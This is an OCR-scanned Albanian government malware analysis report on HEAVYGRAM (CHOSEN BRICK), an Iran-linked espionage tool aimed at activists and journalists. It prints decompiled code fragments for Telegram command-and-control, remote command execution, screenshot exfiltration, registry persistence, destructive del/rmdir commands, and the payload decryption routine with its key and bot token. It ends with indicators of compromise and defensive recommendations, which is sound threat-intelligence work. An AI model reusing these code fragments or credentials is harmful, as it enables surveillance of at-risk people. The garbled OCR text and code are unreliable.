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Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti éshté bazuar né informacionet té vendosura né€ dispozicion né
momentin e pérgatitjes sé tij. Ndérkohé, disa aspekte mund t€ jené t€ ndryshme nga zhvillimet
aktuale.

Faza e dyté:

Detajet e analizés: Pér shkak té kufizimeve burimore, disa aspekte té skedarit keqdashé€s mund té
mos jené analizuar thell€sisht. Cdo informacion shtesé i panjohur mund té reflektojé né ndryshime
té raportit.

Faza e treté:

Siguria e informacionit: Pér t€ mbrojtur burimet dhe informacionet konfidenciale, disa detaje
mund t€ jené t&€ zbutura ose jo té pérfshira né raport. Ky vendim &shté marré pér t€ mbajtur
integritetin dhe siguriné e t€ dhénave té€ pérdorura.

AKSK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar cfarédo pjesé té
kétij raporti pa lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar.

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé analizés. Nuk ka
garanci né lidhje me ndryshime té mundshme apo pérditésime té informacioneve té raportuara
gjaté periudhés né vijim. Autorét e raportit nuk marrin pérgjegjési pér pérdorimin e gabuar ose
pasojat e ndonjé vendimmarrjeje té bazuar né kété raport.
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INFORMACIONE TEKNIKE

Malware-t HEAVYGRAM, i1 njohur ndryshe me emértimin CHOSEN BRICK, éshté pérdorur né
fushata spiunazhi kibernetik kundér aktivistéve dhe gazetaréve né€ vende t&€ ndryshme. Nga analiza,
kéto veprimtari lidhen me aktoré kibernetiké qé veprojné né€ emér t€ Ministris€ s€ Inteligjencés
dhe Sigurisé sé Iranit (MOIS).

Fushata mbéshtetet kryesisht né metoda té pérshtatura t€ inxhinieris€ sociale. Aktorét keqdashés
pérdorin identitete t&€ rreme ose paraqiten si persona té njohur dhe pérfagésues té shérbimeve t&
besueshme, me qgéllim fitimin e besimit t&€ objektivit. M€ pas, ata e nxitin viktimén té shkarkojé
dhe t€ hapé skedaré qé paraqiten si aplikacione, programe instalimi ose dokumente t&€ ligjshme.
Gjaté hapjes sé tyre, né pajisje instalohet né ményré té€ fshehté komponenti keqdashés.

Pas komprometimit té pajisjes, malware-i krijon mekanizma g€ i mundésojné t€ qéndrojé aktiv
edhe pas rinisjes sé€ sistemit. Pér komunikimin me aktorét keqdashés pérdoret platforma Telegram,
e cila shérben si kanal komandimi dhe kontrolli (C2). Malware-i mund té ekzekutojé komanda né
sistem, t& mbledhé t€ dhéna mbi pajisjen dhe proceset aktive, t€ realizojé pamje t€ ekranit, té
aksesojé té dhénat e aplikacioneve dhe t€ dérgojé informacionin e mbledhur te infrastruktura e
kontrolluar nga aktori. N& varési t€ variantit t€ pérdorur, ai mund t€ shkarkojé dhe té ekzekutojé
edhe skedaré té tjeré keqdashés.

Analiza né vijim pérgendrohet né ekzaminimin teknik té skedarit smqdservice.exe, t€ identifikuar
si pjes€ e késaj familjeje malware-i. Q€llimi 1 analiz€s €shté t€ evidentojé ményrén e funksionimit
té skedarit, mekanizmat e ekzekutimit dhe té qéndrueshméris€é né sistem, komunikimin me
infrastrukturén e komandimit dhe kontrollit, funksionet keqdashése dhe indikatorét pérkatés té
komprometimit..

ANALIZA E SKEDARIT

Skedari smqdservice.exe éshté njé skedar i ekzekutueshém (PE64) i zhvilluar né gjuhén e
programimit Python dhe 1 paketuar (packed) me Pylnstaller. Analiza identifikon praniné e
PylInstaller si mekanizém paketimi, ndérsa pérmbajtja pérfshin t€ dhéna t€ kompresuara né
formatin ZLIB. Skedari €sht€ ndértuar pér arkitekturén 64-bit (AMD64) dhe pérdor komponenté
té& Microsoft Visual C/C++ gjaté procesit t€ kompilimit.
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File name

C:\Users\flare\Desktop}26049390134\smqdservice.exe

File type File size [] Advance
PE64 402,34 MiB
Scan Endianness Mode Architecture

Automatic LE 64-bit AMDG4

w PFRA
Packer: Pylnstaller(-)[-]
Compiler: Microsoft Visual C/C++(2022 v.17.4)[-]

Linker: Microsoft Linker(14.34**)[GUI64]
~ Uveriay: sinary
Data: ZLIB data[ZLIB compression best]

scan v/ Verbose
2075 msec Exit

Figura 1. Identifikimi i Pylnstaller

Pér t€ mundésuar analizimin e kodit, fillimisht u krye shpaketimi i skedarit. Gjaté kétij procesi u
pérftuan disa skedaré me prapashtesén .pyc, t€ cilét pérmbajné kod Python t€ kompiluar né
formatin bytecode.

pr s ramn Imauiffe

ript in Py n 3.11 to p cti r ~ing unmarshalling
ction
-acted pyinstaller archive: F Jesktc 49 smgdservice

Figura 2. Faza e Unpacking

ME pas vijojmé n€ dekompilim e kétyre skedaréve, pjesa mé e madhe e te ciléve i pérket librarive
python té cilat kan€ t€ implementuar funksione t€ ndryshme. Analiza fillimisht fokusohet né
skedarin main.pyc nga ku pjesa fillestare e kodit €shté inicializimi i konfigurimeve t¢ skedarit
keqdashés. Gjaté nisjes, malware-i krijon dhe kontrollon njé mutex, me qéllim parandalimin e
ekzekutimit t&€ njékohshém t€ mé shumé se njé instance. M€ pas lexon konfigurimin e nevojshém
pér vendosjen e komunikimit me Telegram-in..
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read_config

» Update,

» ContextTypes, MessageHandler, filters

from

my mutex : » 'nih6723443489%cvrf’)
catched_err

if catched err

token
user_id

Figura 3. Leximi i konfigurimit té skedarit

jaté ekzekutimit, skedari kryesor lexon konfigurimet pérkatése, t€ cilat u evidentuan pas
dekompilimit t€ skedarit system/config.pyc. Konfigurimi ruhet né formatin XML dhe pérmban
token-in e bot-it Telegram dhe identifikuesin e pérdoruesit ose t€ bisedés. Pra konfigurimi éshté
né nj¢ format:

XML
<?xml version="1.0" encoding="utf8'?>
<CConfig>
<token>[Telegram bot token|</token>
<userld>[Telegram user/chat ID]</userld>
</CConfig>

ATH = 'SOFTWARE\\Microsoft\\Windows\\Currentversion\\Run"
TUP_PATH *C:\\ProgramData\\SMQDServicePackages\\488ht1-8wwb48q"

= "winappx®
smgdservice.exe’
| ‘winappx.exe’
C SUFFIX = "\n******upnnm\n®

_DIR_PATH getenv("APPDATA") + "\\SMQDService"
 FILE PATH = CONFIG DIR PATH + '\\config.xml'
AD_DLL_DIR PATH = 'C:\\Windows \\SysWows4\\'|
P_PATH = os.environ[ ‘ALLUSERSPROFILE'] + '\\MicrosoftDistribution\\sysmain*
'7933504038: AAHB1hrjmqCpT4gEdpjM_fFeweYmIFx6Mks "
USER_ID = (-1002489901033)
SEND_INITIALS = '1°

BUFFER_SIZE = 1048576
config content = f'<?xml version=\'1.@\" encoding=\'utf8\'?>\n<CConfig>\n\t<token>{TOKEN}</token>\n <userId>{USER ID}</use

Figura 4. Konfigurimet e skedarit keqdashés
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N¢é skedarin e konfigurimit u evidentuan edhe variablat ENC KEY dhe SRC _ENC KEY, té cilat
pérdoren si parametra nga funksionet e dekriptimit. Logjika e funksionit create _config_file ruhet

né formé t€ enkriptuar brenda skedarit rantom.txt.

f up_tel() -> tuple

exec(get_method content(method_name='up_tel'), globals(), results)
irn (results[ *standalone_result'], results[‘store result'])
command(cmd) :

results = {}

exec(get_method content(method name='run_command®), {"c¢md’: cmd}, results)
irn results['result']
f run_exe(bot, chat_id, document name, file path):

exec(get_method content(method_name='run_exe'), {'file path': file path})

process_list = get process_list()

if document name in process list:
message = m C format(file name=document name)

=document_name)
chat_id, text=message, parse mode="markdown')

bundle_dir - th.abs th.dirname(_ file_ )))
path_to yml h.abs u e di om.txt'))
file_content 1y C 1 1inf: path_to_yml, passw=SRC_ENC_KEY, |buffersize=1048576)
file parts = fi
for part in file parts:
F me | name in part:
return par“t.s‘tr-ip()|

Figura 5. Evidentimi i skedarit rantom.txt

Pér dekriptimin e skedarit rantom.txt pérdoret funksioni mydecryptStream, i1 cili p&rpunon

strukturén e méposhtme té t€ dhénave t€ enkriptuara:

[16 bytes] ivl

[48 bytes] encrypted (iv0 + intKey)

[32 bytes] HMAC-SHA256 of encrypted 48 bytes
[variable] encrypted source

[1 byte] final-size/padding indicator

[32 bytes] HMAC-SHA256 of encrypted source

Pra skedari rantom.txt dekriptohet me ané té :

AES-256-CBC
key = intKey
IV =iv0

det mydecryptStream(fIn, passw, bufferSize, inputLength):
if buffersize % AESBlockSize != o:
aise ValueError('Buffer s

1(ivl) !I= 16:
e ValueError('File is corrupted.’)

Figura 6. Llogjika e dekriptimit té skedarit rantom.txt
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Funksioni qé na nevojitet n€ vijim €shté funksioni stretch. Funksioni stretch realizon derivimin e
celésit pérmes njé procesi t€ personalizuar t& bazuar né€ algoritmin SHA-256. Procesi kryhet né
8192 iteracione, duke ndérthurur n€ ¢do iteracion vlerén e pérftuar mé paré me SRC ENC KEY,
té koduar né€ formatin UTF-16LE:

digest = SHA256(digest || UTF-16LE(SRC_ENC_KEY))

stretch(passw, ivi
digest = ivl + b’
i (8192):
passHash = hashes.Hash(hashes.S

passHash.update(digest)

passHash.update(bytes(passw,

digest = passHash.finalize()
digest

Figura 7. Funksioni stretch

| rantom.txt - Notepad

File Edit Format View Help

cla{2a2-l->r.v\-&oks alA¥IR™«xg0I-0-[TaiEVE” TGIDDE ‘In“2 _ITA&PV™ +x8"+2AIblIAV@; pp:HOI§ Uy gyZ¢§*g;"}b ,jeek#, | ™2K-FIPHINPEADT@«HF IS | arOUlI%3RTYZ. MUKt |
02e1b$it, ¢f»yAfei:hii,HI2*30 0:0R-]

xklAa$¥Tud-loa:6T£]*hd {A-x71.0amW™”00a2(EUaZr&I-1<-<2[R ASIVe ) £laABiJAmgF17Ee” E(1Z ‘+ | Alit=0c>a78\—, 6{Ee£AGFZA%] °’0Io>el 2)(zeAd]E#, J@!ylalid
AKal=9ir®

_Iqil&#t-: 190, RRQ_Bedevkil, A’ u(8> 2&aARKDX & ®EDS -~ O#-O0t%#z4=ypEOIian, ICF2I0EVX\ | °" }6018{D10)A<- "PpEayb

107 s AVoX6=UlyEvaToe “Ap[ 6(&llx1z90,," " . - T¥yuugiit? B|9a0nI?®,f<-a [j0Ab &Gy (lpOo®PoctyXv £dhilfml=£lPs ‘hfe  efi:_lolx{32 ppl®&M.. -~@lpAT 3Dib<h™1

Q( life-ué<I{EaQroeé<(pii%e| 6 i x))BFst:Mhéb*[7-dk tA0DAIEIWUM

67LE] 1~Adj_yeblsy«<[¥lll,xé¥1527Q [+, te0v3tellOepb+ ¢ Zamsls/ElV ' 1»09- aki® YE&hX/ [0-,0_gte.WE;sS,

_-1i"=&I1plE,,[=bF>l& MSUarZAplip06CIdp%OI3>0 &Al/ "E™*30-LOUIRSUOTIAT2ZfDZ+HO-

@“>11~&E¢l¢3cD=],40-pA}>¢pAd#ErGo[ JE1 40 AyEd §a.0: >AC3LGGT], 55CHTOWD ?~Cl@>1E82CaAL<E2ETISEC) " LL-0USAThUQZIPI*xRI\°5; Tap-OYL-COM "[8“ « pE- 1IWDXB8T ; - t_xgAUA
206a101Q) | EaA*30UI»MeZN0EIR

HAEEOAfN ' milia{ epeDAMHTIE#BUESGIi%0aC6~61 | 1>£Y<C| . g“YU HRQDTS: 09, E-T,ES1/a 0

Ix¢=C ];L"qo0r Soles]IC2A'IFt”Med (\Tl (f»“{42ClG<%1§é" Heghg)@=_)l:t

8A710"V%d*uhdxa] T3ce#tied[yn " ro"G[ 80T <X ?BlUk: -qaSISQ-2 GjuvAsS. €&l

123 [chr="e

SN\UIENXetaohe* 2y.. IpIx(Oy®Yem.zZI0BSTIA" ! auﬂo@%k[n*émm\

w)—175Q/m¢Ix, DLl Twpe §1°RAc"Up—0"U¥I&® " SITMIT! o [X]! f)&A-E*~ri0G0—10Kk29°D>ZlqelkiLs{algro & yARA-IAROT~"2uid GjFeVvOS\EI6E»BAGA

HINI%D ! F™ "rlf 221 lkoEslek»qADalp 0091, \L¢yE&e)OWAKN) 2, Ao, dp ¢ 6IETN- " fevalkiaidiIpulsolkTledd~25papUeL®3aY . FARXBUG "&AGU9»™ , T0¢E..[hIf\YOP~8™pl; cDzOWP-< 1|
GiIvrL\ID ! 2hellf “eva9e.CHYYIIALEZ"gAF2  5-+*0>N-U”uad l.KKk—- -UBpAIEARQT Ly dmbY20g | 3az03=u8 J=Fx“Ir (1MEACEpX«p@X30%| nliedgBAIE (aYP&EZA2_[USCOTECE2¢FCUI70HT
ImAY <A1*BLIES Al REIEUréd %f1-0"pru_len,0_R$ve*IQx bI™cvx9' -51(38 lcv, %-ENEh D>C+7%zv} [1E3+™zy#0§& GE)Isfol-7.{.AGlT[Ox< ‘M[gLA>A%#Y ‘EHeOVNNG ' IM{EA  (Dwm$)
ha/ ZE(LIDYRI | ;GemO+ f=x01"2281@q%pV+05I50-1C,B*1306.Z¢DAFCET] | “tlAG>*%-pZa7™2C*=INYY ' 14d ‘A3EZ i€l 3y3 09" C4I0@7 "AWIa0{~A [loUA26AEE+AC(O-
X¥0}< i KAGIT 15 G-+ ( 12/ 2858 iMhw

"2l cact+50eRYSFOYE™ , n bAlN®IImeB s¢”,, | ¢=00\-k&86v"/EH >l0BMEIAMEVIi#96INYI2G\S5>M3 >Ul6l; A9S ¢ E@alZ " I7 3E«pIR3U™EXI"RTFINIVE * <[], E>..3Y n<28Kvmla *1}p70, U~"n
X

15&0: ¥Cx- YNIAKDTZ%#80; 01" —£6 ; 3-+D800T«H , %*F52MW@lu | FA%IEElTe ' §-prk>] @ | J+ClidAAAl MIf#EGAE1+He>T4p0 | Ui¥ - CIpp;H»S@_PUKNEESH30TOCAGIOE?[11, plpAijAcI%Uiloe+$)
W/0M%#29/ , Ula 25800 “GulRI”de 1> (0°pXI%7@\nL ) qf NuNyS@™ 7a6YU“Z AT j]lp_-yRII0"SAY4AGe Z2EvCa Ml-2nHyIeexyp]

Figura 8. Skedari i enkriptuar Rantom.txt

Bazuar né logjikén e identifikuar, u pérgatit njé€ program pér dekriptimin e skedarit rantom.txt. Pas
ekzekutimit t€ tij u pérftua pérmbajtja e dekriptuar, duke mundésuar analizimin e funksioneve té
fshehura té€ malware-it.
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Aa ab * No

SRC_ENC_KEY = "54sad98f498sad4f89sadfas9gdafa”

def stretch(passw, ivi):
digest \x@e" * 16
password = p. encode("utf-16-1e")

b.sha256(digest + password).digest()
return digest
f decrypt_rantom(path, passw):

with open(path, “rb™) as f:
data = f.read()

rna

Figura 9. Kodi i dekriptimit té RANTOM.txt

Pasi e dekriptojmé skedarin mund té analizojmé kodin origjinal.

Né kodin e dekriptuar u identifikua funksioni g€ krijon mekanizmin e géndrueshmérisé¢ sé
malware-it né sistem. Ky funksion vendos njé vleré né regjistrin e Windows-it né shtegun e
méposhtém:

winreg.SetValueEx(registry_key, name, 0, winreg. REG_SZ, value)
HKCU\Software\Microsoft\Windows\CurrentVersion\Run

.HKEY _C RREF‘-IT_LIISER, REG_PATH, ©,

Y_WRITE)

SError as e:

Figura 10. Krijimi i mekanizmit té géndrueshmérisé né sistem

result = os.popen(cmd).read()
Né main.py komandat gé€ fillojné me @@ dérgohen te:
run_command(message[2:])
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N¢é két€ ményré, infrastruktura C2 mund té€ dérgojé€ njé komand€ me prefiksin @@. Malware-i1 heq
prefiksin, e ekzekuton komandén pérmes interpretuesit t&€ komandave t€ Windows-it dhe ia dérgon

rezultatin kanalit C2.

Figura 11. Marrja e rezultateve té komandave té ekzekutuara

Tani na duhet t€ kthehemi pérséri n€é main.pyc pasi aty jané funksionalitetet e komandave qé
realizohen.

Né varési t€ vlerés sé parametrit cmd, malware-i aktivizon funksione t€ ndryshme, si marrja e emrit
té pajisjes, ekzekutimi i komandave, realizimi i pamjeve t€ ekranit dhe dérgimi i rezultateve pérmes
bot-it Telegram.

# <m
if cmd
ode('ascii’)
=application.bot, chat_id=user id, file content=process_list, filename=pc_name + ‘(pr

if cmd =
>().encode("ascii')
ary (bot=application.bot, chat_id=user_id, file content=sys info, filename=pc_name + '(sy

if cmd == *ss”:

screenshot
img_byte
reensh _byte format="PNG", optimize=True, quality=108)
b rr.getvalue()
ot: d=user_id, file_content=img_byte arr, filename=pc_name

Figura 12. Funksionalitete té skedarit keqdashés

Tjetér funksion I dekriptuar ka té€ béjé me Process enumeration:
for proc in psutil.process_iter():
proc.exe()

Funksioni mbledh path e skedaréve t€ ekzekutueshém té proceseve aktive..
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try:

W

for proc in il.process iter():

proc.exe()
werw = proc.exe() + "\n"
process_list.append(werw)
.AccessDenied:
process_list.append('(You do not have access to this process)"’)
result = "' in(str Ffor x in process_list)

it (

Figura 13. Mbledhja e informacioneve mbi proceset

DLL loading / execution.
Krijon:
C:\Windows \SysWOW64\

Kjo nuk éshté e njéjta directory me:
C:\Windows\SysWOW64\ Pasi pas Windows ka njé hapésiré.

Pastaj e kopjon me ané té copy.

copy "C:\Windows\SysWOW64\bthudtask.exe" né kété direktori t€ modifikuar e cila ekzekutohet
mé pas n€ ményré t€ fshehur.

C:\Windows \SysWOW64\.

Ky mekanizém pérdoret pér t€ fshehur dritaren e konsolés dhe pér té ekzekutuar komponenté
shtesé keqdashés nga njé€ direktori g€ imiton strukturén e ligjshme té sistemit Windows.

inner():

("I know!")
hide console(r Windows \Syswowe4\bthudtask.exe"", window=

strl = r'del /q "C:\Windows \SysWOW64\*"'
os.pepen(strl).read()

strl = r'rmdir "C:\Windows \SysWoW64"'
os.popen(strl).read()
strl = r'rmdir "C:\Windows \™'
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INDIKATORET E KOMPROMETIMIT (I0C)

lEmri skedarit

IMD5 Hash

KeePass.exe

7402F2F9263782A4C469570035843510

MicDriver.dll

F8B5554808428291 ACC65D1FD2EFE01C

‘MicDriver.exe

ID70EBF20E3D697897BADSBEBF72EA271

‘MsCache.exe

IBE7A2FCEF1D038D05B20148C573A6499

[Pictory_premium_ver9.0.4.exe |IE6B601F733BC40EAA58916986BFC5BY

rantom.txt |A3394EF7FFATESB82ETEFAEE4617FE04
rantom.txt 2965817D063F 1 ESF9889F9126443D63 1
RuntimeSSH.exe IEBDD9595B79B39F53909D862499DBCY4

RuntimeSSH.exe

E51FF37FB431767TDCDECOBSE6D2A786A

smqdservice.exe

TE23FFADB664B0ES53D821478A249D84C

Telegram_Authenticator.exe B9086413E7B6AOC6A11C25D14C22615F

winappx.exe

1481C5B5E69A08C3DF206C59FDSDDCODC

Tipi [

HPershkrim

Telegram C2|-1002489901033 Telegram Chat ID 1 perdorur nga skedari per komunikimin

C2
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REKOMANDIME

Autoriteti Kombétar pér Siguriné Kibernetike rekomandon:

¢ Bllokimin e hash-eve té konfirmuara si keqdashése dhe kryerjen e kérkimeve retrospektive
pér t&€ gjithé indikatorét e komprometimit (IoC) né SIEM, EDR/XDR, antivirus, proxy,
DNS dhe pajisjet e tjera té siguris€. Pé&r domain-et dhe shérbimet legjitime t& pérdorura si
kanale komandimi dhe kontrolli (C2), té zbatohet monitorim dhe, kur &shté e nevojshme,
kufizim n€ pérputhje me nevojat operacionale t€ institucionit.

e Kontrollin e regjistrit t¢ Windows-it pér mekanizma té dyshimté t& qéndrueshmérisé né:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
me fokus te vlerat SMQDService, winappx dhe, sipas variantit t€ evidentuar, Default SSH.

e Kontrollin e path-it:
C:\ProgramData\SMQDServicePackages\488ht1-8ww648q\
pér praniné e skedarit smqdservice.exe ose té skedaréve té tjeré t€ panjohur.

e Kontrollin e path-it:
%ALLUSERSPROFILE %\MicrosoftDistribution\sysmain\
pér praniné e skedarit winappx.exe ose t€ komponentéve t€ tjeré t&€ dyshimté.

e Kontrollin pér praniné€ e direktoris€ jo-standarde:
C:\Windows \SysWOW64\
ku emri Windows pérmban njé hapésiré€ shtesé pérpara karakterit \, si dhe pér praniné e
skedarit:
C:\Windows \SysWOW64\bthudtask.exe.
Ky path mund t€ pérdoret pér t€ imituar direktorin€ legjitime C:\Windows\SysWOW 64\
dhe pér té fshehur ekzekutimin e komponentéve keqdashés.

e Kontrollin e konfigurimit t€ Microsoft Defender-it pér pérjashtime t€ paautorizuara,
vecanérisht pér direktorité SMQDServicePackages, MicrosoftDistribution\sysmain dhe
Downloads\Telegram Desktop. Pérjashtimet e dyshimta té verifikohen dhe té€ higen pas
ruajtjes sé€ artefakteve t€ nevojshme pér analizé.

e Monitorimin e rasteve kur skedarét e ekzekutueshém ngarkojné biblioteka DLL nga
direktori jo-standarde ose t€ shkrueshme nga pérdoruesi, si dhe evidentimin e
ekzekutimeve nga path-e qé€ imitojné direktorité legjitime t&€ Windows-it.

e Monitorimin e ekzekutimit t&€ komandave nga procese té€ pazakonta, pérfshiré pérdorimin
e cmd.exe, powershell.exe, wscript.exe dhe cscript.exe nga procese ose direktori té
dyshimta.

e Monitorimin e krijimit dhe ekzekutimit t€ skedaréve .exe dhe .dll t€ ardhur nga burime té
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jashtme, veganérisht kur vendosen né direktorité ProgramData, AppData ose né direktori
jo-standarde q¢€ imitojné path-et e sistemit.

Kontrollin e pajisjeve pér skedaré t&€ pérkohshém ose skedaré qé pérdoren pér ruajtjen e
ndérmjetme t€ t€ dhénave, vecanérisht:

C:\ProgramData\up.txt

C:\ProgramData\ur.txt

si dhe monitorimin e krijimit, leximit dhe fshirjes s€ tyre nga procese t€ panjohura.

Monitorimin e aksesit né direktorité e t€ dhénave t€ Telegram Desktop, vecanérisht né
direktoriné tdata, me qéllim evidentimin e proceseve g€ nuk lidhen me Telegram-in, por
tentojné t€ lexojné, kompresojné ose kopjojné pérmbajtjen e saj.

Monitorimin e aksesit t€ pazakonté né€ kredencialet, sesionet dhe té dhénat lokale té
aplikacioneve, duke pérdorur EDR/XDR pér t€ identifikuar procese t€ panjohura qé lexojné
té dhénat e Telegram-it, WhatsApp-it, shfletuesve ose klientéve t€ postés elektronike.

Monitorimin dhe filtrimin e komunikimeve dalése drejt shérbimeve t€ mesazheve dhe
ruajtjes né€ cloud, pérfshiré Telegram-in, VultrObjects dhe StorjShare, duke pérdorur
Firewal/NGFW, IDS/IPS, DNS Security dhe proxy. Kufizimet t€ zbatohen pér pajisjet qé
nuk kané nevoj€ operacionale pér pérdorimin e kétyre shérbimeve.

Analizimin e vazhdueshém té logeve né SIEM, me fokus te ndryshimet né regjistrin e
Windows-it, krijimi i proceseve t& reja, ekzekutimi i DLL-ve, krijimi i skedaréve né
ProgramData dhe AppData, si dhe komunikimet dalése t€ pazakonta.

Pérdorimin e zgjidhjeve EDR/XDR pér analizimin e sjelljes s€ pajisjeve, pa u mbéshtetur
vetém né zbulimin pérmes nénshkrimeve. Monitorimi duhet t€ pérfshijé krijimin e
mekanizmave t&€ géndrueshmérisé, ekzekutimin e komandave, ngarkimin anésor t€ DLL-
ve dhe mbledhjen e kredencialeve ose té t& dhénave.

Aktivizimin e kontrollit t€ aplikacioneve dhe listave t&€ lejimit (Application
Control/Allowlisting), aty ku éshté e mundur, pér té€ kufizuar ekzekutimin e skedaréve .exe
dhe .dll nga direktori t€ shkrueshme nga pérdoruesit ose nga path-e jo-standarde.

Kufizimin e privilegjeve té pérdoruesve sipas parimit t€ privilegjit minimal (Least
Privilege), n€ ményré q€ komprometimi 1 njé€ pajisjeje t€ mos mundésoj€ instalimin e
mekanizmave shtes€ t€ qéndrueshmérisé ose ekzekutimin e komponentéve té tjeré
keqdashés.

Kryerjen e kérkimeve proaktive dhe retrospektive né pajisje, SIEM dhe EDR/XDR, duke
pérdorur IoC-té€ dhe modelet e sjelljes t€ identifikuara, me géllim evidentimin e rasteve té
mundshme t€ komprometimit qé€ nuk jané zbuluar mé paré.
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Rritjen e ndérgjegjésimit t€ pérdoruesve, vecanérisht t€ personave me profil té larté rreziku,
pér t& mos shkarkuar ose ekzekutuar aplikacione dhe dokumente té€ dérguara pérmes
Telegram-it, WhatsApp-it ose platformave té tjera t€ komunikimit. Programet duhet té
shkarkohen vetém nga faget zyrtare ose nga burime té miratuara nga institucioni

NEé rast evidentimi ose dyshimi t& arsyeshém pér komprometim, izolimin e menjéhershém
té pajisjes nga rrjeti, pa e fikur até, dhe ruajtjen e artefakteve t€ nevojshme pér analizé
forenzike pérpara pastrimit ose riinstalimit té sistemit.

Pas konfirmimit t€ komprometimit, ndryshimin ose revokimin e kredencialeve, sesioneve
aktive, token-éve té autentikimit dhe celésave t€ shérbimeve qé¢ mund t€ jené ekspozuar.
Kéto veprime duhet t€ kryhen nga njé pajisje e sigurt dhe jo nga pajisja e komprometuar.

Kryerjen e njé analize té ploté retrospektive pér t€ pércaktuar kohén e komprometimit,
pajisjet e prekura, mekanizmat e géndrueshméris€, proceset dhe komandat e ekzekutuara,
komunikimet C2 dhe mundésiné e pranisé s¢ malware-it né pajisje té tjera.
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